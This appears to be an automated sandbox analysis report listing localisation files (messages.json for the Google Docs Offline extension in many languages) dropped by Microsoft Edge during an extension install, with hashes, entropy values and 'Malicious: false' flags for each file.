MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
